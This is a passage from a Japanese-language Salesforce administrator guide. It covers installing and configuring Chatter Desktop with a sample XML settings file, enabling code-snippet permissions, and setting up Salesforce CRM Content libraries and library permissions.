管理バージョンをインストールする手順は、次のとおりです。
1. Chatter デスクトップをリリースする予定のコンピュータに、Adobe® Integrated Runtime (AIR®) バージョン 2.6 以

降 (最新バージョンを推奨) をリリースします。
AIR とはデスクトップアプリケーション向けの Adobe 社のクロスプラットフォームランタイム環境のこと
で、Chatter デスクトップには必須です。

ヒント:  AIR をリリースする前に、次のリンクを参照してください。
• AIR® の概要:

http://www.adobe.com/devnet/air/articles/distributing_air_in_enterprise.html
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• アドビシステムズ株式会社からの AIR® 再配布ライセンス入手に関する情報:
http://www.adobe.com/products/air/runtime_distribution1.html

• インストール情報:
http://help.adobe.com/en_US/air/redist/WS485a42d56cd19641-70d979a8124ef20a34b-8000.html

• 管理情報:
http://help.adobe.com/en_US/air/admin/WS485a42d56cd1964167ea49bd124ef17d52a-8000.html

2. [設定] から、[クイック検索]ボックスに「Chatter デスクトップ設定」と入力し、[Chatter デスクトップ設
定] を選択します。

3. リンクをクリックして、管理バージョンをダウンロードします。

重要: Chatter デスクトップでは Adobe® Acrobat® Reader を使用して PDF ファイルをプレビューします。Chatter

デスクトップでファイルをプレビューする前に、Adobe Acrobat を Adobe の Web サイトからダウンロード
し、インストールして少なくとも 1 回は開き、インストールを完了します。

関連トピック:

Chatter デスクトップへのアクセスの制御
Chatter デスクトップ管理バージョンの設定

Chatter デスクトップ管理バージョンの設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

Salesforce CRM、承認、
Chatter メール通知、
Chatter への招待、顧客招
待は、Database.com
Edition では利用できませ
ん。

XML ベースの設定ファイルを各ユーザのマシンにリリースすることで、Chatter デ
スクトップの設定を管理できます。ファイル内の設定によってユーザの設定が
上書きされます。
1. .chatterdesktopという名前のファイルを作成し、chatterdesktopとい

う親要素と configおよび serversというその 2 つの子要素を追加します。
2. config 要素内で、次の表に示された子要素を作成して default および

editable 属性を追加します。両方の属性とも値 true または false を指
定できます。
子要素をデフォルト設定にするには、要素の default 属性を true に設定
します。ユーザがユーザインターフェースを使用してデフォルト設定を変更
できるようにするには、要素の editable 属性を true に設定します。

説明子要素

起動時にアプリケーションを開始しま
す。

launchOnStartup

アプリケーションを閉じるときに最小
化します。

minimizeOnClose

ポップアップ通知を有効にします。notifications

新しいフィード投稿とコメントのア
ラートを有効化します。タスクバーア

criticalAlerts
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説明子要素

イコンを強調表示するか (Windows)、ドックアイコン
をバウンスさせます (Mac OS)。

新しいフィード投稿とコメントを入力できるように
Chatter デスクトップを前面に表示します。

bringToForeground

Chatter デスクトップを常に前面に表示できるようにし
ます。

alwaysOnTop

新しいチャットを受信したときに、チャットウィン
ドウを有効にして前面に表示します (Mac のみ)。

chatWindowToForeground

新しいチャットを受信した場合のサウンドを有効に
します。

chatSoundEnabled

すべてのチャットを受信した場合のサウンドを有効
にします。

playSoundForEveryMessage

メモ: default属性を chatSoundEnabledに対しては true、playSoundForEveryMessageに対し
ては falseに設定すると、新しいチャットを受信した場合にのみサウンドが鳴ります。両方とも true

に設定すると、チャットを受信するたびにサウンドが鳴ります。両方ともfalseに設定すると、チャッ
トサウンドが無効になります。

3. 組織で Salesforce の本番および Sandbox 以外のインスタンスを使用している場合、こうしたインスタンスをホ
ストするサーバを server 要素内の別個の servers 要素に指定します。
各 server 要素内に、次の属性を含めます。
• label  — ユーザインターフェースに表示する接続の名前。
• serverUrl  — インスタンスへのログインに使用する URL。URL は https://で始まり、salesforce.com

または chatter.comで終わるものとします。たとえば、組織に https://emea.salesforce.comか
らログインするヨーロッパ事業部がある場合、その URL を入力し、接続名を「Europe」と指定します。

• defaultServer  — このサーバを Chatter デスクトップが接続するデフォルトインスタンスにするには
TRUE に設定します。

4. .chatterdesktop 設定ファイルをテストします。
a. .chatterdesktop設定ファイルをマシンのユーザディレクトリにコピーします。ユーザディレクトリ

は次のとおりです。
• Windows — c:\Documents and Settings\<username>  (Windows XP) または C:\Users\<username>

(Windows 7)

• Mac OS — /Users/<username>

• Linux — /home/<username>

b. Chatter デスクトップを起動し、正しく機能することを確認します。問題がある場合は、「Chatter デスク
トップのトラブルシューティングのヒント」を参照してください。
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5. .chatterdesktop ファイルを、組織の Chatter デスクトップを実行しているすべてのマシンのユーザディ
レクトリにコピーします。

例: 次に、サンプルの設定ファイルを示します。

<chatterdesktop>

<config>

<launchOnStartup default="false"

editable="false"/>

<minimizeOnClose default="false"

editable="true"/>

<notifications default="true"

editable="true"/>

<criticalAlerts default="false"

editable="true"/>

<bringToForeground default="false"

editable="true"/>

<alwaysOnTop default="false"

editable="false"/>

<chatWindowToForeground default="false"

editable="false"/>

<chatSoundEnabled default="true"

editable="true"/>

<playSoundForEveryMessage default="true"

editable="true"/>

</config>

<servers>

<server label="Europe"

serverUrl="https://emea.salesforce.com"

defaultServer="true"/>

<server label="Production"

serverUrl="https://login.salesforce.com"

defaultServer="false"/>

</servers>

</chatterdesktop>

関連トピック:

Chatter デスクトップへのアクセスの制御
Chatter デスクトップ管理バージョンのインストール
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コードスニペットを使用する権限の有効化と割り当て
Lightning Experienceと、カスタマーサービス (Napili)テンプレートに基づくセルフサービスコミュニティで、パブ
リッシャーによって構文を強調表示したコードサンプルを入力するには、 コードスニペットを使用します。 

コードスニペットを利用できるようにするには、有効にして使用するための権限を割り当てます。コードスニ
ペット権限を有効にして割り当てる方法は 2 つあります。1 つはユーザプロファイル (ステップ 1) を使用する方
法、もう 1 つは権限セット (ステップ 2) を使用する方法です。
1. ユーザプロファイルを使用してコードスニペットを有効する手順は、次のとおりです。

a. [設定] から、[ユーザの管理] (Lightning Experience では [ユーザ]) を展開し、[プロファイル] をクリックし、
[標準ユーザ] の横にある [コピー] をクリックします。

b. コピーに [プロファイル名] を指定し、[保存] をクリックします。
c. コピーのページで、[編集] をクリックします。
d. [一般ユーザ権限] セクションまでスクロールし、[UI からのコードスニペットの挿入を許可] を選択して

[保存] をクリックします。
e. [ユーザの管理] の下で、[ユーザ] をクリックします。
f. コードスニペットの権限が必要な各ユーザを編集し、コピーしたユーザプロファイルを割り当てます。

2. 権限セットを使用してコードスニペットを有効する手順は、次のとおりです。
a. [設定] から、[ユーザの管理] (Lightning Experienceでは [ユーザ]) を展開し、[権限セット]をクリックし、[新

規] をクリックします。
b. [表示ラベル] 項目に、権限セットの名前を入力します。
c. 必要に応じて、この権限セット用のユーザライセンスの種別を選択します。この権限セットを特定の種

別に制限しない場合は、[なし] を選択します。
d. [保存] をクリックします。
e. 新規権限セットのページの [システム] の下で [システム権限] をクリックし、[編集] をクリックします。
f. [UI からのコードスニペットの挿入を許可] を選択して、[保存] をクリックします。
g. [割り当ての管理] をクリックし、[割り当てを追加] をクリックします。
h. 新規権限セットを割り当てて、[完了] をクリックします。

Salesforce CRM Content

コンテンツライブラリのファイルの保存、共有、および管理を行います。

Salesforce CRM Content の設定
組織でコンテンツライブラリを使用できるように Salesforce CRM Content を設定します。Salesforce CRM Content

を使用できるのは Salesforce Classic のみですが、Salesforce CRM Content が組織で有効になっていれば Lightning

Experience でコンテンツライブラリのファイルを使用できます。
Salesforce CRM Content のカスタマイズ
コンテンツ項目、入力規則、ライブラリ権限、およびその他のデフォルト設定を変更します。
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コンテンツ項目のカスタマイズ
コンテンツを分類および定義します。
ライブラリ
コンテンツライブラリのファイルの保存、共有、および管理を行います。
コンテンツ設定
コンテンツ設定をカスタマイズし、コンテンツのプレビューを有効にします。
Salesforce Classic Mobile 用の Salesforce CRM Content の設定

Salesforce CRM Content の設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「コンテンツ権限の管理」権限

または

「Salesforce CRM Content の管理」

ライブラリ権限を作成、編集、または削
除する

「ファイルのレコードタイプおよびレイ
アウトの管理」

または

「Salesforce CRM Content の管理」

ページレイアウトおよびレコードタイプ
を作成、編集、または削除する

「コンテンツプロパティの管理」権限

または

「Salesforce CRM Content の管理」

コンテンツ項目を作成する

「ライブラリの作成」

または

ライブラリを作成する

「Salesforce CRM Content の管理」

「Salesforce CRM Content の管理」ライブラリを編集または削除する

組織でコンテンツライブラリを使用できるように Salesforce CRM Contentを設定します。Salesforce CRM Contentを使
用できるのは Salesforce Classic のみですが、Salesforce CRM Content が組織で有効になっていれば Lightning Experience

でコンテンツライブラリのファイルを使用できます。
組織で Salesforce CRM Content を設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Salesforce CRM Content」と入力し、[Salesforce CRM Content]

を選択してから [Salesforce CRM Content を有効化]を選択して Salesforce CRM Contentを有効にします。
2. 次のいずれかの方法で機能ライセンスを割り当て、ユーザに Salesforce CRM Content へのアクセスを許可しま

す。
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機能ライセンスを自動的にユーザに割り当てるには、[設定] から [クイック検索]に「Salesforce CRM

Content」と入力し、[Salesforce CRM Content] を選択してから [既存および新しいユーザへの機能ライセ
ンスを自動割り当て] を選択します。

•

• 機能ライセンスを手動でユーザに割り当てるには、[設定] から [クイック検索]に「ユーザ」と入力し、
[ユーザ] を選択してユーザ名の横にある [編集] をクリックします。[Salesforce CRM Content ユー
ザ] チェックボックスをオンにして、[保存] をクリックします。

3. Salesforce CRM Content ユーザの Salesforce CRM Content ユーザ権限が有効になっていることを確認します。ユー
ザ権限には、「Salesforce CRM Content の管理」、「ライブラリの作成」、「コンテンツ権限の管理」、「コ
ンテンツプロパティの管理」、「ファイルのレコードタイプおよびレイアウトの管理」、および「アップ
ロード済みファイルおよび個人コンテンツの配信」があります。

メモ: 「アップロード済みファイルと個人コンテンツの配信」ユーザ権限のあるユーザは、個人ライ
ブラリからコンテンツ配信を作成できます。このユーザ権限は、共有ライブラリからコンテンツを配
信する機能に影響を与えません。

4. 必要に応じて、Salesforce CRM Content ユーザを含む公開グループを作成できます。後で、複数のユーザを同
じライブラリに個別に割り当てるのではなく、グループを割り当てることによって設定時間を削減できま
す。

5. 必要に応じて、1 つ以上のライブラリ権限を作成します。ライブラリ権限は、ライブラリ内でのユーザアク
セス権を決める権限のグループです。ユーザがライブラリを使用できるようにするには、各ユーザにライ
ブラリ権限を割り当てる必要があります。すべての新しい組織には、ライブラリ管理者、著者、閲覧者と
いう、3 つのライブラリ権限があります。

6. 新規ライブラリウィザードを使用して、ライブラリを作成し、ライブラリにメンバーを追加して、メンバー
にライブラリ権限を割り当てます。

7. コンテンツを分類および定義します。
a. コンテンツ項目を作成します。カスタム項目を作成してページレイアウトに割り当てることができま

す。デフォルトの項目は、[説明]、[タグ]、および [タイトル] です。たとえば、レビュー担当者を選
択する [レビュー担当者] という項目を作成します。

b. カスタムページレイアウトを作成するか、デフォルトのページレイアウトを編集します。ページレイア
ウトはカスタム項目の格納場所であり、これにより、公開処理時に使用可能な項目と、コンテンツ詳細
ページの項目の表示方法が決まります。ページレイアウトとレコードタイプを複数作成している場合、
複数のページレイアウトにコンテンツ項目を割り当てることができます。たとえば、営業ユーザとマー
ケティングユーザが異なる情報をコンテンツに記録する必要がある場合は、「営業」および「マーケ
ティング」というページレイアウトとレコードタイプを作成します。[関連キャンペーン]参照項目を作
成して「マーケティング」のみに追加した場合、アップロード処理時に「営業」を選択すると、キャン
ペーンを選択することはできません。

8. 必要に応じて、[Google ドキュメントを Salesforce に追加] サービスを有効にすると、ライブラリメンバーが
Google ドキュメントを Salesforce CRM Content に寄稿できるようになります。
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実装のヒント
• ライブラリを作成する前に、Salesforce CRM Content に保存する予定のファイルを確認して、必要なライブラ

リの数と各ライブラリに属するコンテンツを決定します。ライブラリに基づいて、ユーザにコンテンツへ
のアクセス権が付与されます。

• Salesforce CRM Content ユーザが多数の場合は、公開グループを作成して、ユーザを個別にライブラリに追加
するのではなく、そのグループをライブラリに追加します。

• リード、取引先、取引先責任者、商談、ケース、商品、およびカスタムオブジェクトでSalesforce CRM Content

を有効にするには、[関連コンテンツ] 関連リストを該当するページレイアウトに追加します。
• Web 形式のコンテンツを同僚、リード、または取引先責任者に送信し、Salesforce レコードと関連付けるに

は、[コンテンツ配信] 関連リストをリード、取引先、取引先責任者、商談、ケース、キャンペーン、また
はカスタムオブジェクトのページレイアウトに追加します。

• Salesforce がサポートしている言語でユーザが公開、編集、および検索できるようにするには、[設定] から
[クイック検索] ボックスに「Salesforce CRM Content」と入力し、[Salesforce CRM Content] を選択して
[複数言語による検索と寄稿を有効化] をクリックします。

• Googleドキュメントをライブラリに関連付けるには、組織で [GoogleドキュメントをSalesforceに追加] サービ
スが有効になっている必要があります。

• Salesforce CRM Content は、カスタマーポータルおよびパートナーポータルで使用できます。
• すべての Salesforce CRM Content 項目は、Salesforce コンソールでは主タブとして表示されます。

ベストプラクティス
• Salesforce オブジェクトで [関連コンテンツ] 関連リストを使用している場合は、コンテンツのカスタム項目

とそのオブジェクトの標準項目またはカスタム項目を合わせて、「コンテンツの検索」の精度を高めます。
関連リストの [コンテンツの検索] ボタンをクリックすると、コンテンツとそのレコードの項目で検索し、
関連コンテンツを含む検索結果が表示されます。

• コンテンツが一貫して分類されるように、寄稿者に一貫性のあるタグ名を定義します。たとえば、最初に
タグ名を設定しておくことによって、同じライブラリに「チャネル」と「チャンネル」といったタグが存
在するのを避けることができます。

• タグを使い過ぎないようにします。検索エンジンでは、特定のコンテンツを容易に検索できます。一方、
タグは参照と登録が可能です。そのため、タグを使い過ぎると無用に複雑になります。

• タグ名の変更も削除もできません。ドキュメントからタグを除外できますが、タグは削除されません。
• タグでは、大文字小文字は区別されません。大文字と小文字が異なる場合でも、2 つのタグに同じ名前を付

けることはできません。元のタグの大文字・小文字が常に使用されます。
• 重要なコンテンツを強調して見つけやすくするには、コンテンツの詳細ページで「主要」とマークします。

主要コンテンツは、検索結果内の類似コンテンツよりも優先順位が高く、また [ライブラリ] タブに表示さ
れるため、簡単にアクセスできます。主要コンテンツを設定するには、ライブラリ権限の [主要コンテン
ツ] オプションをオンにしておく必要があります。

• 組織でGoogle ドキュメントを使用している場合は、ライブラリメンバーが各自のライブラリにGoogleドキュ
メントを追加することを奨励してください。GoogleドキュメントをSalesforce CRM Contentに組み込むと、ユー
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ザは、1 つの場所からすべての種別のコンテンツにアクセスでき、投票、コメント、登録などの Salesforce

CRM Content 機能を Google ドキュメントに適用できます。

関連トピック:

Salesforce CRM Content のカスタマイズ
コンテンツ配信の設定
Salesforce Classic Mobile 用の Salesforce CRM Content の設定
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Salesforce CRM Content のカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コンテンツ項目を作成、
編集、または削除する
• 「コンテンツプロパ

ティの管理」権限

または

「Salesforce CRM
Content の管理」

項目の入力規則を定義ま
たは変更する
• 「アプリケーションの

カスタマイズ」

ライブラリ権限を作成、
編集、または削除する
• 「コンテンツ権限の管

理」権限

または

「Salesforce CRM
Content の管理」

コンテンツ設定を変更す
る
• 「Salesforce CRM

Content の管理」

コンテンツ項目、入力規則、ライブラリ権限、およびその他のデフォルト設定
を変更します。
[設定] から、[クイック検索] ボックスに「Salesforce CRM Content」と入力
し、[Salesforce CRM Content] を選択して Salesforce CRM Content をカスタマイズする
次のオプションにアクセスします。

ヒント: 組織で Salesforce CRM Contentの初期設定をするには、「Salesforce CRM

Content の設定」 (ページ 4256)を参照してください。
• 内容項目 — カスタムコンテンツ項目を作成、編集、または削除します。カ

スタム項目では、公開処理時にコンテンツを分類および定義できます。
• 入力規則 — 入力規則を作成、編集、または削除します。この入力規則は、

コンテンツを保存する前に、コンテンツを公開するときに入力したデータが
指定した基準に合っているかどうかを確認します。

• ライブラリ権限 — ライブラリ権限を作成、編集、または削除します。ライ
ブラリ権限によって、ライブラリ内でユーザが実行できる作業が決まりま
す。

• 設定 — 多言語のサポート、PDF のダウンロード、コンテンツパックの作成、
または高度なドキュメントビューアに関する Salesforce CRM Contentのデフォル
ト設定を変更します。

関連トピック:

Salesforce CRM Content の設定
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コンテンツ項目のカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタム項目を作成、編
集、または削除する
• 「Salesforce CRM

Content の管理」

または

「コンテンツプロパ
ティの管理」権限

コンテンツを分類および定義します。
Salesforce CRM Content カスタム項目を作成、変更、削除してコンテンツの分類と
定義を行うには、コンテンツのオブジェクト管理設定に移動します。Lightning

Experienceを使用している場合は、オブジェクトマネージャに移動し、[コンテン
ツバージョン] を選択して項目領域までスクロールします。Salesforce Classic を使
用している場合は、[クイック検索] ボックスに「Salesforce Files」と入力
し、[項目]を選択します。アップロード時にこれらの項目に割り当てられたデー
タは、ファイルが存在する間、コンテンツ詳細ページに表示されます。カスタ
ムコンテンツ項目の作成後、それらをページレイアウトに割り当てる必要があ
ります。ページレイアウトにより、ユーザが Salesforce CRM Content でファイルを
アップロードまたは修正するときに表示される項目が決まります。
カスタムコンテンツ項目を作成する手順は、次のとおりです。
1. [新規] をクリックします。
2. 作成する項目の種別を選択し、[次へ] をクリックします。
3. リレーション項目では、項目に関連付けるオブジェクトを選択し、[次へ] を

クリックします。
4. 項目ラベルを入力します。入力した項目ラベルに従って、項目名が自動的に

入力されます。この名前は、アンダースコアと英数字のみを使用でき、組織
内で一意にする必要があります。最初は文字であること、空白は使用しな
い、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使用
しないという制約があります。カスタム項目名は、そのオブジェクトの標準
項目名と同じにならないようにしてください。

5. 項目を編集可能な項目として表示するページレイアウトを選択します。
カスタムコンテンツ項目を編集または削除するには、[カスタム項目 & リレーション] 関連リストの [編集] また
は[削除]をクリックします。標準コンテンツ項目を編集または削除することはできません。削除したカスタム
項目とそのデータは、組織がそれらを完全に削除するまで、または削除後 15 日が経過するまで保存されます。
それまでは、その項目とデータを復元できます。

関連トピック:

Salesforce CRM Content のカスタマイズ
オブジェクト管理設定の検索

ライブラリ
コンテンツライブラリのファイルの保存、共有、および管理を行います。

ライブラリの作成
コンテンツライブラリでファイルを保存、共有、および管理し、各ライブラリのファイルにアクセスでき
るユーザやそのユーザの権限を決定できます。各組織は最大 2,000 個のライブラリを持つことができます。

4261

コンテンツ項目のカスタマイズコラボレーションツールの設定および管理



ライブラリ権限の管理
ライブラリ権限の作成
ライブラリ権限の編集
ライブラリ権限の削除
ライブラリのタギングルールの割り当て
ライブラリでのレコードタイプの制限
ライブラリ管理者は、ライブラリで使用可能なレコードタイプを選択できます。また、ライブラリにコン
テンツを公開する場合のデフォルトのレコードタイプも設定できます。
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ライブラリの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリを作成する
• 「Salesforce CRM

Content の管理」

または

「ライブラリの作成」

ライブラリにメンバーを
追加する
• 「Salesforce CRM

Content の管理」

または

ライブラリ権限定義の
「ライブラリの管理」

ライブラリ権限をメン
バーに割り当てる
• 「Salesforce CRM

Content の管理」

または

ライブラリ権限定義の
「ライブラリの管理」

コンテンツライブラリでファイルを保存、共有、および管理し、各ライブラリ
のファイルにアクセスできるユーザやそのユーザの権限を決定できます。各組
織は最大 2,000 個のライブラリを持つことができます。

ステップ 1: ライブラリの新規作成
1. [ライブラリ] タブのホームページにある [私のライブラリ] セクションで [新規]

をクリックします。
2. 一意のライブラリ名を入力します。
3. 必要に応じて、説明を追加します。
4. [保存 & メンバーの追加]をクリックします。後でメンバーを追加する場合は、

[保存 & 閉じる] ボタンをクリックします。

ステップ 2: ライブラリメンバーの追加
1. ライブラリがまだ開いていない場合は、[ライブラリ] タブでライブラリ名を

クリックします。
2. [メンバー] セクションで、[メンバーの追加] をクリックします。
3. 追加するメンバーがリストされていない場合は、検索ボックスにそのメン

バーの名を入力し、[検索] をクリックします。
4. [選択可能なユーザ] ボックスからメンバーを選択します。メンバーには、個々

の Salesforce CRM Contentユーザまたは Salesforce CRM Contentユーザを含む公開グ
ループが含まれます。

ヒント: Salesforce CRM Content ユーザが多数の場合は、ユーザを個別にラ
イブラリに追加するのではなく、公開グループを作成してそのグループ
をライブラリに追加します。

5. [追加] をクリックすると、ライブラリにメンバーが追加されます。
6. [次へ] をクリックします。

ステップ 3: メンバーへのライブラリ権限の割り当て
各ユーザまたは公開グループのライブラリ権限を選択して、[保存]をクリックし
ます。詳細は、「ライブラリ権限の管理」 (ページ 4264)を参照してください。
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ライブラリ権限の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリ権限を作成、
編集、または削除する
• 「Salesforce CRM

Content の管理」

または

「コンテンツ権限の管
理」権限

ライブラリ権限を管理するには、[設定] から [クイック検索] ボックスに「コン
テンツ権限」と入力し、[コンテンツ権限]を選択します。ライブラリ権限とは、
各 Salesforce CRM Content ライブラリのメンバーに割り当てられる権限のグループ
のことです。ライブラリ権限によって、特定のライブラリでメンバーが実行で
きる作業が決まります。同じユーザに対して、各ライブラリで異なるライブラ
リ権限を与えることができます。

メモ: Salesforce CRM Content 組織が Spring '09 リリース以降作成された場合、
組織にはすでに、ライブラリ管理者、著者、閲覧者の 3 つのライブラリ権
限があります。

カスタムライブラリ権限を作成するには、[ライブラリ権限の追加] ボタンをク
リックします。ライブラリ権限を編集するには、ライブラリ権限名の横にある
[編集]をクリックします。ライブラリ権限を削除するには、ライブラリ権限名の
横にある [削除] をクリックします。

メモ: ライブラリ権限は、個人ライブラリには適用されません。すべての
Salesforce CRM Contentユーザが、個人ライブラリにファイルを保存できます。

関連トピック:

ライブラリの作成
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ライブラリ権限の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリ権限を作成す
る
• 「Salesforce CRM

Content の管理」

または

「コンテンツ権限の管
理」権限

Salesforce CRM Content のライブラリ権限を作成するには、[設定] から [クイック検
索] ボックスに「コンテンツ権限」と入力し、[コンテンツ権限] を選択します。
次に、[ライブラリ権限を追加] をクリックします。

ヒント: Salesforce CRM Content組織が Spring '09 リリース以降作成された場合、
組織にはすでに、閲覧者、著者、ライブラリ管理者のライブラリ権限があ
ります。そのような権限がない場合は、作成してください。この 3 つのラ
イブラリ権限で、ほとんどの組織で要求される異なるレベルのライブラリ
アクセス権が提供されます。「閲覧者」ライブラリ権限の場合は、[コメン
トの参照] および [コメントを追加] ライブラリ権限オプションを選択しま
す。「著者」ライブラリ権限の場合、[コンテンツの追加]、[コンテンツの
代理追加]、[コンテンツのアーカイブ]、[コメントを追加]、および [タグの
追加]ライブラリ権限を選択します。「ライブラリ管理者」権限の場合は、
[ライブラリの管理] 権限を選択します。

1. ライブラリ権限に名前を入力します。
2. 必要に応じて、ライブラリ権限の説明を入力します。組織に複数のライブラ

リ権限が存在する場合は、機能や権限の内容によってそれぞれのライブラリ
権限の説明を記述することを検討してください。たとえば、「マーケティン
グレビュー担当者」権限の説明として、「マーケティングキャンペーンの送
信メールで使用するすべてのコンテンツをレビューする」や「ドキュメント
の参照とコメントが可能」と記述することができます。

3. [権限] セクションで、このライブラリ権限を割り当てられたユーザが実行で
きるアクションのチェックボックスをオンにします。

説明ライブラリ権限

ライブラリに対するあらゆるアクションを実行しま
す。ライブラリの名前と説明の編集、ライブラリメ

ライブラリの管理

ンバーの追加と削除、ライブラリの削除を実行する
場合に必要です。「ライブラリの管理」はスーパー
権限であり、[コンテンツの配信]を除く以下のすべ
ての権限オプションを提供します。
ライブラリを作成するには、「Salesforce CRM Content

の管理」アプリケーション権限または「ライブラリ
の作成」システム権限が必要です。

ライブラリへの新規コンテンツの公開、新しいバー
ジョンのコンテンツのアップロード、アーカイブ (削

コンテンツの追加

除) されたコンテンツの復元を実行します。コンテ
ンツの著者は、自分のコンテンツに付けられている
タグの変更や、自分のコンテンツのアーカイブまた
は削除も実行できます。
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説明ライブラリ権限

ライブラリにコンテンツを公開するときに著者を選
択します。

コンテンツの代理追加

ライブラリにあるコンテンツをアーカイブおよび復
元します。

コンテンツのアーカイブ

ライブラリにあるコンテンツを削除します。著者
は、ごみ箱から自分のコンテンツを復元できます。

コンテンツの削除

ライブラリにあるコンテンツを「主要」として指定
します。

主要コンテンツ

ライブラリにあるコンテンツに投稿されたコメント
を参照します。

コメントの参照

ライブラリにあるコンテンツにコメントを投稿しま
す。また、ライブラリにあるすべてのコメントを参

コメントを追加

照します。ユーザは、自分のコメントを編集または
削除できます。

ライブラリにあるコンテンツに対するコメントを編
集または削除します。

コメントの変更

ライブラリにコンテンツを公開するときや、ライブ
ラリにあるコンテンツの詳細を編集するときにタグ
を追加します。

タグの追加

ライブラリ内の任意のファイルを使用して、コンテ
ンツ配信を作成します。

コンテンツの配信

このライブラリのコンテンツをChatterでアクセス可
能にします。Chatter 内で、ライブラリのファイルを
選択し、投稿に添付するか共有します。

コンテンツを添付または共有

Lightning Experience のライブラリ内でフォルダの作
成、名前変更、削除を行います。

ファイルとコンテンツフォルダを整理

4. [保存] をクリックします。

関連トピック:

Lightning Experience のライブラリでのフォルダの作成
ライブラリの作成
ライブラリ権限の管理
ライブラリ権限の編集
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ライブラリ権限の編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリを編集する
• 「Salesforce CRM

Content の管理」

または

「コンテンツ権限の管
理」権限

Salesforce CRM Content のライブラリ権限を編集するには、[設定] から [クイック検
索] ボックスに「コンテンツ権限」と入力し、[コンテンツ権限] を選択します。
次に、該当する権限の横にある [編集] をクリックします。
1. ライブラリ権限に名前を入力します。
2. 必要に応じて、ライブラリ権限の説明を入力します。組織に複数のライブラ

リ権限が存在する場合は、機能や権限の内容によってそれぞれのライブラリ
権限の説明を記述することを検討してください。たとえば、「マーケティン
グレビュー担当者」権限の説明として、「マーケティングキャンペーンの送
信メールで使用するすべてのコンテンツをレビューする」や「ドキュメント
の参照とコメントが可能」と記述することができます。

3. [権限] セクションで、このライブラリ権限を割り当てられたユーザが実行で
きるアクションのチェックボックスをオンにします。

説明ライブラリ権限

ライブラリに対するあらゆるアクショ
ンを実行します。ライブラリの名前
と説明の編集、ライブラリメンバー
の追加と削除、ライブラリの削除を
実行する場合に必要です。「ライブ
ラリの管理」はスーパー権限であり、
[コンテンツの配信] を除く以下のす
べての権限オプションを提供します。
ライブラリを作成するには、
「Salesforce CRM Content の管理」アプ

ライブラリの管理

リケーション権限または「ライブラ
リの作成」システム権限が必要です。

ライブラリへの新規コンテンツの公
開、新しいバージョンのコンテンツ

コンテンツの追加

のアップロード、アーカイブ (削除)

されたコンテンツの復元を実行しま
す。コンテンツの著者は、自分のコ
ンテンツに付けられているタグの変
更や、自分のコンテンツのアーカイ
ブまたは削除も実行できます。

ライブラリにコンテンツを公開する
ときに著者を選択します。

コンテンツの代理追加

ライブラリにあるコンテンツをアー
カイブおよび復元します。

コンテンツのアーカイブ
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説明ライブラリ権限

ライブラリにあるコンテンツを削除します。著者
は、ごみ箱から自分のコンテンツを復元できます。

コンテンツの削除

ライブラリにあるコンテンツを「主要」として指定
します。

主要コンテンツ

ライブラリにあるコンテンツに投稿されたコメント
を参照します。

コメントの参照

ライブラリにあるコンテンツにコメントを投稿しま
す。また、ライブラリにあるすべてのコメントを参

コメントを追加

照します。ユーザは、自分のコメントを編集または
削除できます。

ライブラリにあるコンテンツに対するコメントを編
集または削除します。

コメントの変更

ライブラリにコンテンツを公開するときや、ライブ
ラリにあるコンテンツの詳細を編集するときにタグ
を追加します。

タグの追加

ライブラリ内の任意のファイルを使用して、コンテ
ンツ配信を作成します。

コンテンツの配信

このライブラリのコンテンツをChatterでアクセス可
能にします。Chatter 内で、ライブラリのファイルを
選択し、投稿に添付するか共有します。

コンテンツを添付または共有

Lightning Experience のライブラリ内でフォルダの作
成、名前変更、削除を行います。

ファイルとコンテンツフォルダを整理

4. [保存] をクリックします。

関連トピック:

ライブラリの作成
ライブラリ権限の管理
ライブラリ権限の削除
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ライブラリ権限の削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリ権限を削除す
る
• 「Salesforce CRM

Content の管理」

または

「コンテンツ権限の管
理」権限

カスタマイズした Salesforce CRM Content のライブラリ権限を削除する手順は、次
のとおりです。
1. [設定] から、[クイック検索] ボックスに「コンテンツ権限」と入力し、[コン

テンツ権限] を選択します。
2. 該当する権限の横にある [削除] をクリックします。
3. 影響を受けるユーザのリストを確認します。削除ページに、特定のライブラ

リでそのライブラリ権限が割り当てられているすべての Salesforce CRM Content

ユーザが表示されます。ライブラリ権限を削除すると、ユーザはそのライブ
ラリにアクセスできなくなります。

4. [権限の削除] をクリックして確認します。

関連トピック:

ライブラリの作成
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ライブラリのタギングルールの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ライブラリにタギング
ルールを割り当てる
• 「Salesforce CRM
